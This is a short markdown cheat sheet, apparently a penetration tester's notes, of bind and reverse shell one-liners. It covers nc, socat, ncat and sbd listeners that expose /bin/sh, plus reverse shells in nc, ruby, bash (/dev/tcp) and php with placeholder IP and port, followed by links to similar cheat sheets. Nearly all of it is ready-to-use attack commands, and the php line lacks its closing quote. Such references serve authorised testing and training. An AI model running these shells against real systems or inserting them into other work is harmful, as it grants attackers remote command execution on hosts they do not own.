Shells

shells.md

bind:

nc

nc - nlvp 4444 -e /bin/sh

socat

socat tcp-listen:4444,reuseaddr,fork exec:/bin/bash

ncat

ncat --exec /bin/sh --allow 127.0.0.1 -vnl 4444 --ssl

sbd

sbd -l -c on -k ENCRYPTION_PHRASE -p PORT -e /bin/sh

sbd -lp PORT -e /bin/sh

connect:

nc

nc -nv IP PORT

ncat

ncat -v IP PORT --ssl

sbd

sbd -k ENCRYPTION_PHRASE HOST PORT

sbd HOST PORT

reverse

nc

nc -e /bin/sh IP PORT

ruby

ruby -rsocket -e'c=TCPSocket.new("LISTENING_HOST_IP", PORT);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'

bash

bash -i >& /dev/tcp/IP/PORT 0>&1

php

php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");

reading:

• https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
• http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
• http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
• https://remotephone.github.io/2017/01/18/reverse-shell-cheatsheet.html